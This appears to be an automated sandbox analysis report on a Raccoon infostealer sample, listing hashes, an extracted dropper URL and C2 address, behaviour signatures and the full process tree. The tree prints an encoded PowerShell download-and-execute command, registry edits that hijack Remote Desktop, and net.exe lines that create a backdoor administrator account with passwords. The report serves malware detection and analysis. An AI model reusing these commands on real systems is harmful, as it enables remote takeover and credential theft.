Analysis

  • max time kernel
    95s
  • max time network
    141s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    02-06-2021 21:46

General

  • Target

    c36d9bc4f9569bf91605097139297c0b.exe

  • Size

    569KB

  • MD5

    c36d9bc4f9569bf91605097139297c0b

  • SHA1

    b542a1f9fc55299c79ec87f7454e3fcd092718db

  • SHA256

    3fb2264cea79f2a81e87bb20db95fd812a32fd8cd3feff546c280ecd7911be0c

  • SHA512

    b9817eeeda058f3937fb6af8ff21a9854d22096326ff0163e6dd8fd553634a6c84c9a9cf15dbdcba185f83c22931d47602c7db275d5b1d5cf6aaa35d34b9a518

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

raccoon

Botnet

e46634757936706c1ff491585768dd6fe231db30

Attributes
  • url4cnc

    https://tttttt.me/jdiamond13

rc4.plain
rc4.plain

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 8 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c36d9bc4f9569bf91605097139297c0b.exe
    "C:\Users\Admin\AppData\Local\Temp\c36d9bc4f9569bf91605097139297c0b.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:596
    • C:\Users\Admin\AppData\Local\Temp\hjgZv8wiF2.exe
      "C:\Users\Admin\AppData\Local\Temp\hjgZv8wiF2.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2164
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
        3⤵
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3520
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4q05ldxw\4q05ldxw.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2340
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFFF1.tmp" "c:\Users\Admin\AppData\Local\Temp\4q05ldxw\CSCD5CF2FE3AAA47E395D85D7187BBC331.TMP"
            5⤵
              PID:1292
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3384
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:928
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1596
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
            4⤵
              PID:1116
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
              4⤵
              • Modifies registry key
              PID:3316
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
              4⤵
                PID:708
              • C:\Windows\system32\net.exe
                "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:1036
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                  5⤵
                    PID:3552
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3492
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2340
                    • C:\Windows\system32\net.exe
                      net start rdpdr
                      6⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1980
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        7⤵
                          PID:988
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2904
                    • C:\Windows\system32\cmd.exe
                      cmd /c net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2016
                      • C:\Windows\system32\net.exe
                        net start TermService
                        6⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3752
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 start TermService
                          7⤵
                            PID:2772
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                      4⤵
                        PID:1664
                      • C:\Windows\system32\cmd.exe
                        "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                        4⤵
                          PID:952
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\c36d9bc4f9569bf91605097139297c0b.exe"
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2040
                      • C:\Windows\SysWOW64\timeout.exe
                        timeout /T 10 /NOBREAK
                        3⤵
                        • Delays execution with timeout.exe
                        PID:4088
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user wgautilacc Ghar4f5 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1584
                    • C:\Windows\system32\net.exe
                      net.exe user wgautilacc Ghar4f5 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3384
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                        3⤵
                          PID:3100
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user wgautilacc MwNwqaTg /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3004
                      • C:\Windows\system32\net.exe
                        net.exe user wgautilacc MwNwqaTg /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:672
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user wgautilacc MwNwqaTg /add
                          3⤵
                            PID:3920
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2452
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:744
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                            3⤵
                              PID:3332
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1476
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1016
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                              3⤵
                                PID:3372
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2312
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                              2⤵
                                PID:1340
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                  3⤵
                                    PID:3988
                              • C:\Windows\System32\cmd.exe
                                cmd /C net.exe user wgautilacc MwNwqaTg
                                1⤵
                                  PID:1936
                                  • C:\Windows\system32\net.exe
                                    net.exe user wgautilacc MwNwqaTg
                                    2⤵
                                      PID:2160
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 user wgautilacc MwNwqaTg
                                        3⤵
                                          PID:1464
                                    • C:\Windows\System32\cmd.exe
                                      cmd.exe /C wmic path win32_VideoController get name
                                      1⤵
                                        PID:360
                                        • C:\Windows\System32\Wbem\WMIC.exe
                                          wmic path win32_VideoController get name
                                          2⤵
                                            PID:708
                                        • C:\Windows\System32\cmd.exe
                                          cmd.exe /C wmic CPU get NAME
                                          1⤵
                                            PID:1188
                                            • C:\Windows\System32\Wbem\WMIC.exe
                                              wmic CPU get NAME
                                              2⤵
                                                PID:952
                                            • C:\Windows\System32\cmd.exe
                                              cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                              1⤵
                                                PID:1036
                                                • C:\Windows\system32\cmd.exe
                                                  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                  2⤵
                                                    PID:2800
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                      3⤵
                                                      • Blocklisted process makes network request
                                                      • Drops file in Program Files directory
                                                      • Drops file in Windows directory
                                                      • Modifies data under HKEY_USERS
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:1248
                                                • C:\Windows\System32\cmd.exe
                                                  cmd.exe /C net user wgautilacc 1234
                                                  1⤵
                                                    PID:3308
                                                    • C:\Windows\system32\net.exe
                                                      net user wgautilacc 1234
                                                      2⤵
                                                        PID:1720
                                                        • C:\Windows\system32\net1.exe
                                                          C:\Windows\system32\net1 user wgautilacc 1234
                                                          3⤵
                                                            PID:3004

                                                      Network

                                                      MITRE ATT&CK Enterprise v6

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      • memory/596-114-0x00000000021E0000-0x0000000002271000-memory.dmp

                                                        Filesize

                                                        580KB

                                                      • memory/596-115-0x0000000000400000-0x0000000000496000-memory.dmp

                                                        Filesize

                                                        600KB

                                                      • memory/928-216-0x00000187E6086000-0x00000187E6088000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/928-218-0x00000187E6088000-0x00000187E608A000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/928-215-0x00000187E6083000-0x00000187E6085000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/928-214-0x00000187E6080000-0x00000187E6082000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/1248-255-0x000001C6E5B60000-0x000001C6E5B62000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/1248-257-0x000001C6E5B66000-0x000001C6E5B68000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/1248-258-0x000001C6E5B68000-0x000001C6E5B69000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/1248-256-0x000001C6E5B63000-0x000001C6E5B65000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/1596-221-0x000001F954796000-0x000001F954798000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/1596-222-0x000001F954798000-0x000001F95479A000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/1596-219-0x000001F954790000-0x000001F954792000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/1596-220-0x000001F954793000-0x000001F954795000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/2164-131-0x000002F6F4985000-0x000002F6F4986000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/2164-132-0x000002F6F4986000-0x000002F6F4987000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/2164-129-0x000002F6F4980000-0x000002F6F4982000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/2164-126-0x000002F6F56A0000-0x000002F6F5AC1000-memory.dmp

                                                        Filesize

                                                        4.1MB

                                                      • memory/2164-130-0x000002F6F4983000-0x000002F6F4985000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3384-185-0x000002C865226000-0x000002C865228000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3384-213-0x000002C865228000-0x000002C86522A000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3384-182-0x000002C865223000-0x000002C865225000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3384-181-0x000002C865220000-0x000002C865222000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3520-158-0x0000027174B30000-0x0000027174B31000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/3520-143-0x0000027174D00000-0x0000027174D01000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/3520-150-0x0000027174B46000-0x0000027174B48000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3520-142-0x0000027174B43000-0x0000027174B45000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3520-140-0x0000027174B40000-0x0000027174B42000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3520-138-0x0000027174B50000-0x0000027174B51000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/3520-165-0x0000027175770000-0x0000027175771000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/3520-164-0x00000271753E0000-0x00000271753E1000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/3520-223-0x0000027174B48000-0x0000027174B49000-memory.dmp

                                                        Filesize

                                                        4KB